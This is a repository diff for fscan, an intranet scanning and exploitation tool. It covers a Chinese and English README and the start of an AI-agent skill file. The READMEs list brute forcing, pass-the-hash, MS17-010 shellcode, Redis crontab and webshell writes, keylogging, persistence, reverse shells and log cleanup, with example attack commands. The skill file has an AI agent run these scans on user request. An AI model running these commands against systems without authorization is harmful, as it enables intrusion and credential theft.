- **并发指纹匹配** - 多协程并行匹配,提升识别速度
|
||||||
|
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
|
||||||
|
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
|
||||||
|
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
|
||||||
|
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
|
||||||
|
- **预分配容量** - 简化转换链、单次字符串替换
|
||||||
|
- **并发安全优化** - 优化锁粒度和内存分配
|
||||||
|
|
||||||
|
### 新功能
|
||||||
|
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
|
||||||
|
- **多格式POC适配** - 支持xray和afrog格式POC
|
||||||
|
- **智能扫描模式** - 布隆过滤器去重+代理优化
|
||||||
|
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
|
||||||
|
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
|
||||||
|
- **通用版本提取器** - 自动提取服务版本信息
|
||||||
|
- **指纹优先级排序** - 智能排序匹配结果
|
||||||
|
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
|
||||||
|
- **网卡指定功能** - 支持VPN场景(-iface参数)
|
||||||
|
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
|
||||||
|
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
|
||||||
|
- **端口扫描重试** - 失败自动重扫机制
|
||||||
|
- **RDP真实认证** - 集成grdp库实现系统指纹识别
|
||||||
|
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
|
||||||
|
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
|
||||||
|
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
|
||||||
|
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
|
||||||
|
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
|
||||||
|
- **默认端口扩展** - 从62个扩展到133个常用端口
|
||||||
|
- **全端口扫描支持** - 扩大端口范围限制
|
||||||
|
- **HTTP重定向控制** - 可配置的重定向次数限制
|
||||||
|
- **性能分析支持** - 添加pprof性能分析和benchmark测试
|
||||||
|
- **TCP包统计** - 服务插件支持TCP包发送统计
|
||||||
|
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
|
||||||
|
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
|
||||||
|
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
|
||||||
|
|
||||||
|
### Bug修复(120项,列出关键修复)
|
||||||
|
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
|
||||||
|
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
|
||||||
|
- **JSON输出格式** - 修复输出格式错误(#446)
|
||||||
|
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
|
||||||
|
- **结果实时保存** - 修复扫描结果未及时保存(#469)
|
||||||
|
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
|
||||||
|
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
|
||||||
|
- **MySQL连接验证** - 改用information_schema库验证
|
||||||
|
- **代理端口误判** - 修复代理模式下端口状态判断错误
|
||||||
|
- **Context超时** - 修复22处插件超时未响应问题
|
||||||
|
- **ICMP竞态条件** - 修复并发扫描竞争问题
|
||||||
|
- **IPv6地址格式** - 修复4处地址格式化问题
|
||||||
|
- **POC高并发卡死** - 修复Context未传播问题
|
||||||
|
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
|
||||||
|
- **SOCKS5全回显** - 添加代理连接验证
|
||||||
|
- **服务探测泄漏** - 修复连接未正确关闭问题
|
||||||
|
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
|
||||||
|
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
|
||||||
|
- **JSON指纹缺失** - 统一SERVICE结果Target格式
|
||||||
|
- **扫描耗时显示** - 修复完成耗时显示为0的问题
|
||||||
|
- **虚假漏洞记录** - 重构TXT输出系统消除误报
|
||||||
|
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
|
||||||
|
- **Windows编译警告** - 修复fscan-lite平台兼容性
|
||||||
|
- **Go 1.20兼容** - 降级依赖保持兼容性
|
||||||
|
|
||||||
|
### 测试增强(20项)
|
||||||
|
- **单元测试** - 核心模块覆盖率74-100%
|
||||||
|
- **并发安全测试** - State对象、指纹匹配引擎专项测试
|
||||||
|
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
|
||||||
|
- **CLI参数测试** - 命令行参数解析验证
|
||||||
|
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
|
||||||
|
- **ResultBuffer测试** - 去重和完整度评分验证
|
||||||
|
|
||||||
|
### 工程化改进
|
||||||
|
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
|
||||||
|
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
|
||||||
|
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
|
||||||
|
- **README重写** - 中英文文档全面更新
|
||||||
|
- **代码格式统一** - gofmt/goimports规范化
|
||||||
|
|
||||||
|
## 快速开始
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 扫描C段
|
||||||
|
./fscan -h 192.168.1.1/24
|
||||||
|
|
||||||
|
# 指定端口
|
||||||
|
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||||
|
|
||||||
|
# 仅存活探测
|
||||||
|
./fscan -h 192.168.1.1/24 -ao
|
||||||
|
|
||||||
|
# 禁用爆破
|
||||||
|
./fscan -h 192.168.1.1/24 -nobr
|
||||||
|
|
||||||
|
# Web扫描
|
||||||
|
./fscan -u http://192.168.1.1
|
||||||
|
|
||||||
|
# 本地插件
|
||||||
|
./fscan -local systeminfo
|
||||||
|
|
||||||
|
# Hash碰撞
|
||||||
|
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||||
|
|
||||||
|
# Redis写公钥
|
||||||
|
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## 编译
|
||||||
|
|
||||||
完整参数
|
```bash
|
||||||
|
# 标准编译
|
||||||
|
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||||
|
|
||||||
|
# 带Web管理界面
|
||||||
|
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||||
```
|
```
|
||||||
-c string
|
|
||||||
exec command (ssh)
|
|
||||||
-h string
|
|
||||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
|
||||||
-hf string
|
|
||||||
host file, -hs ip.txt
|
|
||||||
-it int
|
|
||||||
Icmp Threads nums (default 3000)
|
|
||||||
-m string
|
|
||||||
Select scan type ,as: -m ssh (default "all")
|
|
||||||
-no
|
|
||||||
not to save output log
|
|
||||||
-np
|
|
||||||
not to ping
|
|
||||||
-o string
|
|
||||||
Outputfile (default "result.txt")
|
|
||||||
-p string
|
|
||||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
|
|
||||||
-pwd string
|
|
||||||
password
|
|
||||||
-pwdf string
|
|
||||||
password file
|
|
||||||
-rf string
|
|
||||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
|
||||||
-rs string
|
|
||||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
|
||||||
-t int
|
|
||||||
Thread nums (default 200)
|
|
||||||
-time int
|
|
||||||
Set timeout (default 3)
|
|
||||||
-user string
|
|
||||||
username
|
|
||||||
-userf string
|
|
||||||
username file
|
|
||||||
|
|
||||||
|
## 安装
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Arch Linux
|
||||||
|
yay -S fscan-git
|
||||||
```
|
```
|
||||||
|
|
||||||
## 运行截图
|
## 运行截图
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
`fscan.exe -h 192.168.x.x`
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
|
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||||

|

|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
|
||||||
|
|
||||||
## 未来计划
|
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||||
[*] 合理输出当前扫描进度
|

|
||||||
[*] 增加内网常见高危漏洞
|
|
||||||
[*] 增加高危web漏洞扫描
|
|
||||||
[*] 师傅们觉得有必要加的漏洞,也可以提issue
|
|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
|
||||||
|
|
||||||
## 参考链接
|
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||||
https://github.com/Adminisme/ServerScan
|

|
||||||
https://github.com/netxfly/x-crack
|
|
||||||
https://github.com/hack2fun/Gscan
|

|
||||||
https://github.com/k8gege/LadonGo
|
|
||||||
|
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 路线图
|
||||||
|
|
||||||
|
### 更新计划
|
||||||
|
- **更新周期** - 每月一次版本发布
|
||||||
|
- **前两周** - 新功能开发与特性更新
|
||||||
|
- **后两周** - Bug修复与代码整合
|
||||||
|
- **欢迎PR** - 期待您的贡献!
|
||||||
|
|
||||||
|
### SDK & Agent 集成
|
||||||
|
- 扩展SDK能力,完善端侧Agent嵌入支持
|
||||||
|
- 断点续扫、带宽级限速、内存水位控制
|
||||||
|
- 更多Agent场景的集成示例
|
||||||
|
|
||||||
|
### 插件生态
|
||||||
|
- 持续扩展服务插件覆盖范围
|
||||||
|
- 为每个服务插件开发更多漏洞检测和利用能力
|
||||||
|
- 保持插件API向后兼容,确保旧版本POC持续可用
|
||||||
|
|
||||||
|
### Fscan-lite
|
||||||
|
- C语言重写的轻量版本
|
||||||
|
- 更小的体积,更少的依赖
|
||||||
|
- 支持更多嵌入式/受限环境
|
||||||
|
- 目录: [fscan-lite](./fscan-lite)
|
||||||
|
|
||||||
|
### Fscan-lab
|
||||||
|
- 内网渗透测试靶场环境
|
||||||
|
- 覆盖所有fscan支持的漏洞场景
|
||||||
|
- 开发测试与功能验证平台
|
||||||
|
- 新手学习与技能练习环境
|
||||||
|
- 目录: [fscan-lab](./fscan-lab)
|
||||||
|
|
||||||
|
## 免责声明
|
||||||
|
|
||||||
|
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
|
||||||
|
|
||||||
|
## 404StarLink
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
|
||||||
|
|
||||||
|
## Star趋势
|
||||||
|
|
||||||
|
[](https://starchart.cc/shadow1ng/fscan)
|
||||||
|
|
||||||
|
## 捐赠
|
||||||
|
|
||||||
|
[请作者喝饮料](image/sponsor.png)
|
||||||
|
|
||||||
|
## 参考
|
||||||
|
|
||||||
|
- https://github.com/Adminisme/ServerScan
|
||||||
|
- https://github.com/netxfly/x-crack
|
||||||
|
- https://github.com/hack2fun/Gscan
|
||||||
|
- https://github.com/k8gege/LadonGo
|
||||||
|
- https://github.com/jjf012/gopoc
|
||||||
|
- https://github.com/chainreactors/gogo
|
||||||
|
- https://github.com/0x727/FingerprintHub
|
||||||
|
- https://github.com/killmonday/fscanx
|
||||||
|
|||||||
+286
@@ -0,0 +1,286 @@
|
|||||||
|
# Fscan
|
||||||
|
|
||||||
|
[中文](README.md)
|
||||||
|
|
||||||
|
Comprehensive intranet scanning tool for automated vulnerability assessment.
|
||||||
|
|
||||||
|
**Version**: 2.2.1
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
### Scanning
|
||||||
|
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
|
||||||
|
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
|
||||||
|
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
|
||||||
|
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
|
||||||
|
|
||||||
|
### Brute Force
|
||||||
|
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
|
||||||
|
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
|
||||||
|
- **SSH Key Login** - Private key authentication
|
||||||
|
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
|
||||||
|
|
||||||
|
### Vulnerability Detection
|
||||||
|
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
|
||||||
|
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
|
||||||
|
- **POC Scanning** - Integrated web POC, Xray POC format support
|
||||||
|
- **DNSLog** - DNSLog out-of-band detection
|
||||||
|
|
||||||
|
### Exploitation
|
||||||
|
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
|
||||||
|
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
|
||||||
|
- **SSH Command Exec** - Auto command execution after authentication
|
||||||
|
|
||||||
|
### Local Modules
|
||||||
|
- **Info Gathering** - System info, environment variables, DC info, NIC config
|
||||||
|
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
|
||||||
|
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
|
||||||
|
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
|
||||||
|
- **AV Detection** - Identify installed security software
|
||||||
|
- **Trace Cleanup** - Log cleaning tool
|
||||||
|
|
||||||
|
### Input/Output
|
||||||
|
- **Target Input** - IP/CIDR/domain/URL, batch file import
|
||||||
|
- **Exclusion Rules** - Exclude specific hosts, ports
|
||||||
|
- **Output Formats** - TXT/JSON/CSV multi-format output
|
||||||
|
- **Silent Mode** - No banner, no progress bar, no color output
|
||||||
|
|
||||||
|
### Network Control
|
||||||
|
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
|
||||||
|
- **Rate Control** - Rate limiting, max packet count control
|
||||||
|
- **Timeout Control** - Port/Web/Global timeout independent config
|
||||||
|
- **Concurrency** - Port scan threads, service scan threads independent config
|
||||||
|
|
||||||
|
### Extensions
|
||||||
|
- **Web Management UI** - Visual scan task management (build with -tags web)
|
||||||
|
- **Lab Environment** - Built-in Docker lab for testing and learning
|
||||||
|
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
|
||||||
|
- **Multi-language** - Chinese/English interface (-lang zh/en)
|
||||||
|
- **Performance Stats** - JSON format performance report (-perf)
|
||||||
|
|
||||||
|
## v2.1.0 Changelog
|
||||||
|
|
||||||
|
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
|
||||||
|
|
||||||
|
### Architecture Refactoring
|
||||||
|
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
|
||||||
|
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
|
||||||
|
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
|
||||||
|
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
|
||||||
|
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
|
||||||
|
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
|
||||||
|
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
|
||||||
|
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
|
||||||
|
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
|
||||||
|
|
||||||
|
### Performance Optimization
|
||||||
|
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
|
||||||
|
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
|
||||||
|
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
|
||||||
|
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
|
||||||
|
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
|
||||||
|
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
|
||||||
|
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
|
||||||
|
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
|
||||||
|
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
|
||||||
|
|
||||||
|
### New Features
|
||||||
|
- **Web Management UI** - Visual scan task management with responsive layout and progress display
|
||||||
|
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
|
||||||
|
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
|
||||||
|
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
|
||||||
|
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
|
||||||
|
- **Universal Version Extractor** - Auto-extract service version information
|
||||||
|
- **Fingerprint Priority Sorting** - Smart sorting of match results
|
||||||
|
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
|
||||||
|
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
|
||||||
|
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
|
||||||
|
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
|
||||||
|
- **Port Scan Retry** - Automatic retry mechanism for failed scans
|
||||||
|
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
|
||||||
|
- **SMB/FTP File Listing** - Auto-list files on anonymous access
|
||||||
|
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
|
||||||
|
- **TXT Output URL Summary** - Append web service URL list for batch testing
|
||||||
|
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
|
||||||
|
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
|
||||||
|
- **Default Port Expansion** - Extended from 62 to 133 common ports
|
||||||
|
- **Full Port Scan Support** - Expanded port range limits
|
||||||
|
- **HTTP Redirect Control** - Configurable redirect count limit
|
||||||
|
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
|
||||||
|
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
|
||||||
|
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
|
||||||
|
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
|
||||||
|
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
|
||||||
|
|
||||||
|
### Bug Fixes (120 items, key fixes listed)
|
||||||
|
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
|
||||||
|
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
|
||||||
|
- **JSON Output Format** - Fixed output format errors (#446)
|
||||||
|
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
|
||||||
|
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
|
||||||
|
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
|
||||||
|
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
|
||||||
|
- **MySQL Connection Validation** - Changed to information_schema for validation
|
||||||
|
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
|
||||||
|
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
|
||||||
|
- **ICMP Race Condition** - Fixed concurrent scan race issues
|
||||||
|
- **IPv6 Address Format** - Fixed 4 address formatting issues
|
||||||
|
- **POC High Concurrency Hang** - Fixed Context propagation issues
|
||||||
|
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
|
||||||
|
- **SOCKS5 Echo Issue** - Added proxy connection validation
|
||||||
|
- **Service Probe Leak** - Fixed connection not properly closed
|
||||||
|
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
|
||||||
|
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
|
||||||
|
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
|
||||||
|
- **Scan Duration Display** - Fixed completion time showing as 0
|
||||||
|
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
|
||||||
|
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
|
||||||
|
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
|
||||||
|
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
|
||||||
|
|
||||||
|
### Test Enhancements (20 items)
|
||||||
|
- **Unit Tests** - Core module coverage at 74-100%
|
||||||
|
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
|
||||||
|
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
|
||||||
|
- **CLI Parameter Tests** - Command-line argument parsing verification
|
||||||
|
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
|
||||||
|
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
|
||||||
|
|
||||||
|
### Engineering Improvements
|
||||||
|
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
|
||||||
|
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
|
||||||
|
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
|
||||||
|
- **README Rewrite** - Comprehensive Chinese and English documentation update
|
||||||
|
- **Code Format Unification** - gofmt/goimports standardization
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Scan C-class network
|
||||||
|
./fscan -h 192.168.1.1/24
|
||||||
|
|
||||||
|
# Specify ports
|
||||||
|
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||||
|
|
||||||
|
# Alive detection only
|
||||||
|
./fscan -h 192.168.1.1/24 -ao
|
||||||
|
|
||||||
|
# Disable brute force
|
||||||
|
./fscan -h 192.168.1.1/24 -nobr
|
||||||
|
|
||||||
|
# Web scanning
|
||||||
|
./fscan -u http://192.168.1.1
|
||||||
|
|
||||||
|
# Local plugin
|
||||||
|
./fscan -local systeminfo
|
||||||
|
|
||||||
|
# Hash authentication
|
||||||
|
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||||
|
|
||||||
|
# Redis write pubkey
|
||||||
|
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||||
|
```
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Standard build
|
||||||
|
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||||
|
|
||||||
|
# With Web UI
|
||||||
|
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||||
|
```
|
||||||
|
|
||||||
|
## Install
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Arch Linux
|
||||||
|
yay -S fscan-git
|
||||||
|
```
|
||||||
|
|
||||||
|
## Screenshots
|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x`
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
|
||||||
|

|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||||
|

|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||||
|

|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
|
||||||
|
|
||||||
|
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Roadmap
|
||||||
|
|
||||||
|
### Release Schedule
|
||||||
|
- **Release Cycle** - Monthly release
|
||||||
|
- **First 2 Weeks** - New features and enhancements
|
||||||
|
- **Last 2 Weeks** - Bug fixes and code integration
|
||||||
|
- **PRs Welcome** - Contributions are appreciated!
|
||||||
|
|
||||||
|
### Plugin Ecosystem
|
||||||
|
- Continuously expand service plugin coverage
|
||||||
|
- Develop more vulnerability detection and exploitation capabilities for each service plugin
|
||||||
|
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
|
||||||
|
|
||||||
|
### Fscan-lite
|
||||||
|
- Lightweight version rewritten in C
|
||||||
|
- Smaller binary size, fewer dependencies
|
||||||
|
- Support for embedded/restricted environments
|
||||||
|
- Directory: [fscan-lite](./fscan-lite)
|
||||||
|
|
||||||
|
### Fscan-lab
|
||||||
|
- Intranet penetration testing lab environment
|
||||||
|
- Covers all vulnerability scenarios supported by fscan
|
||||||
|
- Development testing and feature verification platform
|
||||||
|
- Learning and practice environment for beginners
|
||||||
|
- Directory: [fscan-lab](./fscan-lab)
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
|
||||||
|
|
||||||
|
## 404StarLink
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
|
||||||
|
|
||||||
|
## Star History
|
||||||
|
|
||||||
|
[](https://starchart.cc/shadow1ng/fscan)
|
||||||
|
|
||||||
|
## Donate
|
||||||
|
|
||||||
|
[Buy the author a drink](image/sponsor.png)
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- https://github.com/Adminisme/ServerScan
|
||||||
|
- https://github.com/netxfly/x-crack
|
||||||
|
- https://github.com/hack2fun/Gscan
|
||||||
|
- https://github.com/k8gege/LadonGo
|
||||||
|
- https://github.com/jjf012/gopoc
|
||||||
|
- https://github.com/chainreactors/gogo
|
||||||
|
- https://github.com/0x727/FingerprintHub
|
||||||
|
- https://github.com/killmonday/fscanx
|
||||||
@@ -0,0 +1,304 @@
|
|||||||
|
---
|
||||||
|
name: fscan-agent
|
||||||
|
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
|
||||||
|
argument-hint: <目标IP/网段> [附加参数]
|
||||||
|
allowed-tools: Bash, Read, Agent
|
||||||
|
---
|
||||||
|
|
||||||
|
# Fscan AI Agent Skill
|
||||||
|
|
||||||
|
## 工具概述
|
||||||
|
|
||||||
|
Fscan 是一款内网综合扫描工具,功能包括:
|
||||||
|
- 主机存活探测(ICMP / TCP)
|
||||||
|
- 端口扫描与服务识别
|
||||||
|
- 漏洞检测(MS17-010、Redis 未授权等)
|
||||||
|
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
|
||||||
|
- Web 指纹识别与 POC 扫描
|
||||||
|
- NetBIOS / SMB 信息收集
|
||||||
|
- 本地信息收集(杀软检测、系统信息等)
|
||||||
|
|
||||||
|
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。
|
||||||
|
|
||||||
|
## 调用格式
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
|
||||||
|
fscan -h <目标> -silent [其他参数]
|
||||||
|
|
||||||
|
# 解析输出
|
||||||
|
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
|
||||||
|
```
|
||||||
|
|
||||||
|
## 核心参数
|
||||||
|
|
||||||
|
### 目标指定
|
||||||
|
|
||||||
|
| 参数 | 说明 | 示例 |
|
||||||
|
|------|------|------|
|
||||||
|
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
|
||||||
|
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
|
||||||
|
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
|
||||||
|
| `-ep` | 排除端口 | `-ep 25,110` |
|
||||||
|
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
|
||||||
|
| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` |
|
||||||
|
| `-uf` | URL 文件 | `-uf urls.txt` |
|
||||||
|
|
||||||
|
### 扫描控制
|
||||||
|
|
||||||
|
| 参数 | 说明 | 默认值 |
|
||||||
|
|------|------|--------|
|
||||||
|
| `-m` | 扫描模式 | `all` |
|
||||||
|
| `-t` | 端口扫描线程数 | `600` |
|
||||||
|
| `-mt` | 模块线程数 | `20` |
|
||||||
|
| `-time` | 连接超时(秒) | `3` |
|
||||||
|
| `-gt` | 全局超时(秒,0 表示不限制) | `0` |
|
||||||
|
